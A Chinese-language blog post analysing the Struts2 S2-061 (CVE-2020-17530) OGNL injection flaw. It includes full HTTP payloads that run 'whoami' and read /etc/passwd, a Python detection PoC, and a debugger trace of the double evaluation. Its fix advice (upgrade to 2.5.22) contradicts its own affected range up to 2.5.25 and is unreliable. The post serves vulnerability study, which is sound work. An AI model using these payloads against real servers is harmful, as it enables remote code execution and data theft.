S2-061

S2-061漏洞分析

Posted by taomujian on May 14, 2021

前言

这是Struts系列第十七篇,继续加油!

Struts简介

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

漏洞复现

漏洞简介

S2-061漏洞,又名CVE-2020-17530漏洞

Struts2框架会对某些标签属性(比如id)的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且x的值用户可控时,传入一个将在呈现标签属性时再次解析的OGNL表达式,就可以造成OGNL表达式注入,造成任意代码执行.S2-061是对S2-059修复方案的绕过,触发流程基本上是一致的.

漏洞详情地址

漏洞成因

Struts2框架会对某些标签属性(比如id)的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且x的值用户可控时,传入一个将在呈现标签属性时再次解析的OGNL表达式,就可以造成OGNL表达式注入,造成任意代码执行.S2-061是对S2-059修复方案的绕过,触发流程基本上是一致的.

漏洞影响范围

Struts 2.0.0 - Struts 2.5.25

环境搭建

使用IDEA直接打开源码地址中的对应文件,然后配置好Tomcat就可以运行了.

Payload

执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /s2_061_war_exploded/index.action;jsessionid=79E61355244F9B654BF1EDF344179E2A HTTP/1.1
Host: localhost:8080
Content-Length: 900
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/s2_061_war_exploded/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=79E61355244F9B654BF1EDF344179E2A
Connection: close

name=%25%7B%28%27Powered_by_Unicode_Potats0%2Cenjoy_it%27%29.%28%23UnicodeSec+%3D+%23application%5B%27org.apache.tomcat.InstanceManager%27%5D%29.%28%23potats0%3D%23UnicodeSec.newInstance%28%27org.apache.commons.collections.BeanMap%27%29%29.%28%23stackvalue%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23potats0.setBean%28%23stackvalue%29%29.%28%23context%3D%23potats0.get%28%27context%27%29%29.%28%23potats0.setBean%28%23context%29%29.%28%23sm%3D%23potats0.get%28%27memberAccess%27%29%29.%28%23emptySet%3D%23UnicodeSec.newInstance%28%27java.util.HashSet%27%29%29.%28%23potats0.setBean%28%23sm%29%29.%28%23potats0.put%28%27excludedClasses%27%2C%23emptySet%29%29.%28%23potats0.put%28%27excludedPackageNames%27%2C%23emptySet%29%29.%28%23exec%3D%23UnicodeSec.newInstance%28%27freemarker.template.utility.Execute%27%29%29.%28%23cmd%3D%7B%27whoami%27%7D%29.%28%23res%3D%23exec.exec%28%23cmd%29%29%7D&age=

读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /s2_061_war_exploded/index.action;jsessionid=79E61355244F9B654BF1EDF344179E2A HTTP/1.1
Host: localhost:8080
Content-Length: 900
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/s2_061_war_exploded/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=79E61355244F9B654BF1EDF344179E2A
Connection: close

name=%25%7B%28%27Powered_by_Unicode_Potats0%2Cenjoy_it%27%29.%28%23UnicodeSec+%3D+%23application%5B%27org.apache.tomcat.InstanceManager%27%5D%29.%28%23potats0%3D%23UnicodeSec.newInstance%28%27org.apache.commons.collections.BeanMap%27%29%29.%28%23stackvalue%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23potats0.setBean%28%23stackvalue%29%29.%28%23context%3D%23potats0.get%28%27context%27%29%29.%28%23potats0.setBean%28%23context%29%29.%28%23sm%3D%23potats0.get%28%27memberAccess%27%29%29.%28%23emptySet%3D%23UnicodeSec.newInstance%28%27java.util.HashSet%27%29%29.%28%23potats0.setBean%28%23sm%29%29.%28%23potats0.put%28%27excludedClasses%27%2C%23emptySet%29%29.%28%23potats0.put%28%27excludedPackageNames%27%2C%23emptySet%29%29.%28%23exec%3D%23UnicodeSec.newInstance%28%27freemarker.template.utility.Execute%27%29%29.%28%23cmd%3D%7B%27cat%20%2f/etc%2f/passwd%27%7D%29.%28%23res%3D%23exec.exec%28%23cmd%29%29%7D&age=

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3

import re
import random
import string
import requests

class S2_061_BaseVerify:
    def __init__(self, url):
        self.info = {
            'name': 'S2-061漏洞,又名CVE-2020-17530漏洞',
            'description': 'Struts2 Remote Code Execution Vulnerability, Struts 2.0.0 - Struts 2.5.25',
            'date': '2020-12-08',
            'type': 'RCE'
        }
        self.url = url
        if not self.url.startswith("http") and not self.url.startswith("https"):
            self.url = "http://" + self.url
        if '.action' not in self.url:
            self.url = self.url + '/index.action'

        self.capta = self.get_capta()
        self.headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3",
            'Content-Type': "application/x-www-form-urlencoded"
        }
       
        self.payload = {
            'name': '''%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'cmd_data'}).(#res=#exec.exec(#cmd))}''',
            'age': ''
        }
    
    def get_capta(self):
        
        """
        获取一个随机字符串

        :param:

        :return str capta: 生成的字符串
        """

        capta = ''
        words = ''.join((string.ascii_letters,string.digits))
        for i in range(8):
            capta = capta + random.choice(words)
        return capta

    def run(self):

        """
        检测是否存在漏洞

        :param:

        :return str True or False
        """
        
        try:
            check_payload = {
                'name': self.payload['name'].replace('cmd_data', 'echo ' + self.capta),
                'age': ''
            }
            check_req = requests.post(self.url, data = check_payload, headers = self.headers)
            check_str = re.sub('\n', '', check_req.text)
            result = re.findall('<input type="text" name="name" value=".*? id="(.*?)"/>', check_str)
            if self.capta in result[0]:
                return True
            else:
                return False
        except Exception as e:
            print(e)
            return False
        finally:
            pass

if  __name__ == "__main__":
    S2_061 = S2_061_BaseVerify('http://localhost:8080/s2_061_war_exploded/index.action')
    print(S2_061.run())

漏洞分析

首先Struts2的运行流程是

流程图

    1.HTTP请求经过一系列的标准过滤器(Filter)组件链(这些拦截器可以是Struts2 自带的,也可以是用户自定义的,本环境中struts.xml中的package继承自struts-default,struts-default就使用了Struts2自带的拦截器.ActionContextCleanUp主要是清理当前线程的ActionContext、Dispatcher,FilterDispatcher主要是通过ActionMapper来决定需要调用那个Action,FilterDispatcher是控制器的核心,也是MVC中控制层的核心组件),最后到达FilterDispatcher过滤器.

    2.核心控制器组件FilterDispatcher根据ActionMapper中的设置确定是否需要调用某个Action组件来处理这个HttpServletRequest请求,如果ActionMapper决定调用某个Action组件,FilterDispatcher核心控制器组件就会把请求的处理权委托给ActionProxy组件.

    3.ActionProxy组件通过Configuration Manager组件获取Struts2框架的配置文件struts.xml,最后找到需要调用的目标Action组件类,然后ActionProxy组件就创建出一个实现了命令模式的ActionInvocation类的对象实例类的对象实例(这个过程包括调用Anction组件本身之前调用多个的拦截器组件的before()方法)同时ActionInvocation组件通过代理模式调用目标Action组件.但是在调用之前ActionInvocation组件会根据配置文件中的设置项目加载与目标Action组件相关的所有拦截器组件(Interceptor)

    4.一旦Action组件执行完毕,ActionInvocation组件将根据开发人员在Struts2.xml配置文件中定义的各个配置项目获得对象的返回结果,这个返回结果是这个Action组件的结果码(比如SUCCESS、INPUT),然后根据返回的该结果调用目标JSP页面以实现显示输出.

    5.最后各个拦截器组件会被再次执行(但是顺序和开始时相反,并调用after()方法),然后请求最终被返回给系统的部署文件中配置的其他过滤器,如果已经设置了ActionContextCleanUp过滤器,那么FilterDispatcher就不会清理在ThreadLocal对象中保存的ActionContext信息.如果没有设置ActionContextCleanUp过滤器,FilterDispatcher就会清除掉所有的ThreadLocal对象.

具体分析过程:

    1.大体流程和S2-059一样,但也有稍微的差别.首先来看下jsp文件,标签属性中使用了%{name},就可以触发漏洞.首先在index.jsp第18行打断点,这时候开始解析标签<>,会调用doStartTag方法

1.png

    2.在lib/struts2-core-2.3.24.jar/org.apache.struts2.views.jsp.ComponentTagSupport.doStartTag第34行打断点.然后在index.jsp按F8进入到doStartTag方法内,F7跟入populateParams方法

2.png

3.png

    3.F7继续进入父方法populateParams,然后F7继续进入父方法populateParams

4.png

5.png

    4.就可以看到了具体设置参数的函数,找到设置id的地方,F7进入setId方法

6.png

    5.见到了熟悉方法,findString,F7进入findString方法

7.png

    6.F7继续进入findValue方法

8.png

    7.findValue方法会判断是否开启了altSyntax,开启后才会继续下去,所以触发这个漏洞需要开启altSyntax,默认altSyntax是开启的.又见到了老朋友translateVariables.继续F7跟下去translateVariables,直到具体实现方法.

9.png

10.png

11.png

    8.F7进入evalvate方法,在第56行Object o = evaluator.evaluate(var);进行了第一次解析,解析后%{name}变成了%{(‘Powered_by_Unicode_Potats0,enjoy_it’).(#UnicodeSec = #application[‘org.apache.tomcat.InstanceManager’]).(#potats0=#UnicodeSec.newInstance(‘org.apache.commons.collections.BeanMap’)).(#stackvalue=#attr[‘struts.valueStack’]).(#potats0.setBean(#stackvalue)).(#context=#potats0.get(‘context’)).(#potats0.setBean(#context)).(#sm=#potats0.get(‘memberAccess’)).(#emptySet=#UnicodeSec.newInstance(‘java.util.HashSet’)).(#potats0.setBean(#sm)).(#potats0.put(‘excludedClasses’,#emptySet)).(#potats0.put(‘excludedPackageNames’,#emptySet)).(#exec=#UnicodeSec.newInstance(‘freemarker.template.utility.Execute’)).(#cmd={‘whoami’}).(#res=#exec.exec(#cmd))}.因为在S2-001漏洞的修复中用maxLoopCount限制了解析次数,所以只能解析一次.

12.png

13.png

14.png

    9.回到doStartTag方法,接下来触发流程和S2-059有稍微的不同,S2-059是继续往下执行.而这个却是在闭合标签时.在doStartTag上面的doEndTag中第24行打断点,F7进入end方法.

15.png

    10.F7进入evalvateParams方法

16.png

    11.evalvateParams方法添加了一些参数,然后解析参数.F7进入populateComponentHtmlId方法.

17.png

    12.F7进入findStringIfAltSyntax方法.发现还是判断是否开启了altSyntax,开启后才会继续下去,默认altSyntax是开启的.F7进入findString方法.

18.png

19.png

    13.会发现接下来的流程和第一次解析的流程一样了.F7进入findValue方法.再次见到了老朋友translateVariables.继续F7跟下去translateVariables,直到具体实现方法.

20.png

21.png

22.png

23.png

    14.F7进入evalvate方法,在第56行Object o = evaluator.evaluate(var);进行了第二次解析,解析后执行了表达式,解析后通过值栈查找并将其返回.

24.png

25.png

26.png

漏洞修复

升级到Struts 2.5.22或更高版本

总结

只要是ongl表达式注入漏洞就最终就是通过translateVariables方法执行的.

参考

https://cwiki.apache.org/confluence/display/WW/S2-061

https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md

https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247485085&idx=1&sn=f264cf31bb82ae957fb985b754890d41&scene=21#wechat_redirect

https://mp.weixin.qq.com/s/skV6BsARvie33vV2R6SZKw